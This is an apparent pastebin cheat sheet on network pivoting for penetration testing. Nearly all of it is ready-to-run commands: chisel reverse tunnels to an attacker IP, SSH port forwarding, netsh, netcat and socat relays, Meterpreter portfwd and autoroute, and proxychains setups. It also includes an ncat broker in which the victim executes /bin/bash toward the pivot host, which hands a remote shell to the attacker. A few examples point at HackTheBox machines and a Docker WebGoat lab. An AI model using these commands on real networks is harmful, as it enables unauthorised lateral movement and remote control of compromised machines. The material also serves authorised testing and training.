PIVOTING


SUBMITTED BY: DevilDawg

DATE: Feb. 24, 2022, 4:07 a.m.

FORMAT: Text only

SIZE: 7.9 kB

HITS: 837

  1. PIVOTING:
  2. Pivot
  3. Chisel :
  4. ################################# Attacker Machine ########################
  5. ./chisel server -p 8080 --reverse
  6. #################################### Pivot Machine ########################
  7. chisel.exe client attacker_ip:8080 R:socks
  8. ############################### Proxychains.conf ##########################
  9. socks5 127.0.0.1 1080 1112
  10. ################################## Nmap Scan ##############################
  11. Always better to transfer binaries and scan from the pivot
  12. nmap.exe -sC -sV 10.10.10.10 -Pn -T5 // From Pivot machine
  13. proxychains nmap 10.10.10.10 -T5 -Pn -sT // From Kali Machine
  14. ################################### Gobuster ##############################
  15. gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/direct
  16. Pivot via SSH key (HTB Nibbles)
  17. ssh -i root.key -L9000:web_ip:port ssh_ip
  18. Ex : ssh -i root.key -L9000:10.10.10.75:80 10.10.10.73
  19. Pivot via root password (HTB Sense)
  20. ssh -D1080 pivot_ip
  21. Burp -> user options -> socks proxy -> use socks proxy
  22. vi /etc/proxychains.conf
  23. Change socks4(metasploit) to socks5(ssh)
  24. proxychains curl -k https://10.10.10.60 [ -k to ignore SSL]
  25. netsh Port Proxy:
  26. pivot c:\> netsh interface
  27. portproxy add v4tov4
  28. listenport=4000
  29. listenaddress=0.0.0.0
  30. connectport=22
  31. connectaddress=victim.tgt
  32. attacker $ ssh
  33. victimadmin@pivot.tgt
  34. SSH trail through Linux:
  35. attacker $ ssh
  36. pivotAdmin@pivot.tgt
  37. pivot $ ssh
  38. victimAdmin@victim.tgt
  39. PowerShell sessions through Windows:
  40. attacker PS C:\> EnterPsSession –ComputerName
  41. pivot.tgt
  42. Or RDP session over Windows:
  43. attacker c:\> mstsc.exe
  44. /v:Pivot.tgt
  45. psexec.exe
  46. Now, with command execution on pivot:
  47. pivot C:\> ssh
  48. victimadmin@victim.tgt
  49. No SSH available? How about PuTTY?
  50. SSH Pivots Require an sshd Setting:
  51. Set GatewayPorts yes in
  52. /etc/ssh/sshd_config, then:
  53. pivot # systemctl restart sshd
  54. attacker $ ssh -fNL
  55. 1337:victim.tgt:22
  56. pivoter@pivot.tgt
  57. attacker $ ssh
  58. victimadmin@localhost -P 1337
  59. SSH Local Port Forward
  60. attacker $ ssh -fNR
  61. 4000:victim.tgt:22
  62. pivoter@pivot.tgt
  63. attacker $ ssh
  64. victimadmin@pivot.tgt -P 4000
  65. ProxyChains:
  66. attacker $ ssh
  67. pivotadmin@pivot.tgt -D 9050 -fN
  68. Proxychains:
  69. attacker $ proxychains ssh
  70. victimadmin@victim.tgt
  71. And check /etc/proxychains.conf
  72. Some SSH Command Line Options:
  73. -f put ssh in the background after connecting
  74. -N don’t execute a command; just forward some ports
  75. -P num use “num” port for ssh
  76. Netcat Port Forward:
  77. pivot $ cd /tmp && mknod
  78. backpipe p
  79. pivot $ nc -lvp 4000
  80. 0<backpipe | nc -v victim.tgt
  81. 22 1>backpipe
  82. attacker $ ssh
  83. victimadmin@pivot.tgt -P 4000
  84. Meterpreter Port Forward:
  85. pivot Meterpreter > portfwd
  86. add –l 4000 –p 22 –r
  87. victim.tgt
  88. attacker $ ssh
  89. victimadmin@pivot.tgt -P 4000
  90. Metasploit/Meterpreter Autoroute:
  91. pivot Meterpreter > run
  92. post/multi/manage/autoroute
  93. SUBNET=pivotSubnet CMD=add
  94. pivot Meterpreter > background
  95. pivot msf > use
  96. scanner/ssh/ssh_login
  97. pivot msf > set RHOSTS
  98. victim.tgt
  99. pivot msf > set USERNAME
  100. victimAdmin
  101. pivot msf > set PASSWORD
  102. victimPass
  103. pivot msf > run
  104. Socat Port Forward:
  105. pivot $ socat TCPLISTEN:4000,fork
  106. TCP:victim.tgt:22
  107. attacker $ ssh
  108. victimadmin@pivot.tgt -P 4000
  109. Ncat Connection Brokering:
  110. Assumes code execution on victim
  111. pivot$ ncat -vlp 4000 --broker
  112. victim$ ncat pivot.tgt 4000 -e
  113. /bin/bash
  114. attacker$ ncat pivot.tgt 4000
  115. Method 1: Pivot with SSH & ProxyChains
  116. This method leverages SSH with dynamic port forwarding to create a socks proxy, with proxychains to help with tools that can't use socks proxies.
  117. Setting up the tunnel
  118. First login with SSH using dynamic port forwarding.
  119. ssh -D localhost:9000 -f -N pentester@localhost -p 20022
  120. Setup ProxyChains
  121. in /etc/proxychains4.conf, add the following to the end of the file:
  122. socks5 127.0.0.1 9000
  123. $ proxychains nmap -sV webgoat
  124. Method 2: Pivot With Meterpreter and socks proxy
  125. Setup the connection and run a socks proxy over meterpreter:
  126. docker exec -it pivots_metasploit_1 /bin/bash
  127. $ proxychains nmap -sT -P0 -p8080,9001 172.20.0.3
  128. Method 3: Pivot over a Ncat or Netcat relay
  129. Tunnel as http proxy with ncat
  130. ## Target machine - setup ncat listener
  131. ncat -vv --listen 3128 --proxy-type http
  132. ## attacker machine (metasploit)
  133. $ tail /etc/proxychains.conf -n 3
  134. proxychains nmap -sT -P0 -p8080,9001 172.20.0.2
  135. Reverse tunnel a single port with ncat
  136. # On attacker / metasploit machine
  137. $ docker exec -it pivots_metasploit_1 /bin/bash
  138. $ ncat -lv --broker -m2 8080
  139. # On ssh / box to pivot from
  140. $ ssh pentester@localhost -p 20022
  141. ncat -v metasploit 8080 -c "ncat -v webgoatlocal 8080"
  142. Tunnel with netcat:
  143. # Make backpipe to pass data around
  144. mknod pivot p
  145. # Setup the listener on pivot machine - forward traffic the
  146. # pivot machine receives on port 8080 to the webgoat server
  147. # port 8080
  148. nc -l -p 8080 0<pivot | nc webgoatlocal 8080 1>pivot
  149. ## On attacker machine (metasploit)
  150. root@12f888991729:/$ wget ssh:8080/WebGoat
  151. Saving to: ‘WebGoat'
  152. Method: Installing tools on the target machine:
  153. SSH pivot
  154. ssh -D localhost:<local_proxy_port> -f -N <user>@<machine_to_pivot>
  155. Metasploit with Meterpreter
  156. msf5 >route add <network_to_proxy_in_CIDR_notation> <meterpreter_session_id>
  157. [*] Route added
  158. msf5 > use auxiliary/server/socks4a
  159. msf5 auxiliary(server/socks4a) > set SRVPORT 9050
  160. SRVPORT => 9050
  161. msf5 auxiliary(server/socks4a) > run -j
  162. Ncat HTTP proxy
  163. $ ncat -vv --listen 3128 --proxy-type http
  164. Ncat Port Forwarder
  165. On attacker machine:
  166. $ ncat -lv --broker -m2 <port>
  167. On pivot machine:
  168. $ ncat -v <attacker_ip> <attacker_port> -c "ncat -v <host_to_pivot_to> <port_on_final_target"
  169. Netcat Port Forwarder
  170. On pivot machine:
  171. mknod pivot p
  172. nc -l -p <port_to_listen_on> 0<pivot | nc <ip_to_pivot_to> <port_to_pivot_to> 1>pivot
  173. Proxychains Setup
  174. Install and configure proxychains
  175. tail /etc/proxychains.conf
  176. #socks4 127.0.0.1 9050
  177. http 172.21.0.3 3128
  178. #<type: http/socks4/socks5> <proxy_host> <proxy_port>
  179. Dynamic SSH Pivoting Command using proxy chains
  180. ssh -D 127.0.0.1:9050 root@192.168.2.2
  181. Meterpreter Pivoting Cheatsheet:
  182. portfwd add –l 3389 –p 3389 –r target-host Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
  183. portfwd delete –l 3389 –p 3389 –r target-host Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
  184. portfwd flush Meterpreter delete all port forwards
  185. portfwd list Meterpreter list active port forwards
  186. run autoroute -s 192.168.15.0/24 Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
  187. run autoroute -p Meterpreter list all active routes
  188. route Meterpreter view available networks the compromised host can access
  189. route add 192.168.14.0 255.255.255.0 3 Meterpreter add route for 192.168.14.0/24 via Session 3.
  190. route delete 192.168.14.0 255.255.255.0 3 Meterpreter delete route for 192.168.14.0/24 via Session 3.
  191. route flush Meterpreter delete all routes
  192. In order to connect to the compromised machine you would run:
  193. Connect to RDP via Meterpreter Port Forward
  194. rdesktop 127.0.0.1
  195. SSH Pivoting using Proxychains
  196. Dynamic SSH Pivoting Command using proxy chains
  197. ssh -D 127.0.0.1:9050 root@192.168.2.2

comments powered by Disqus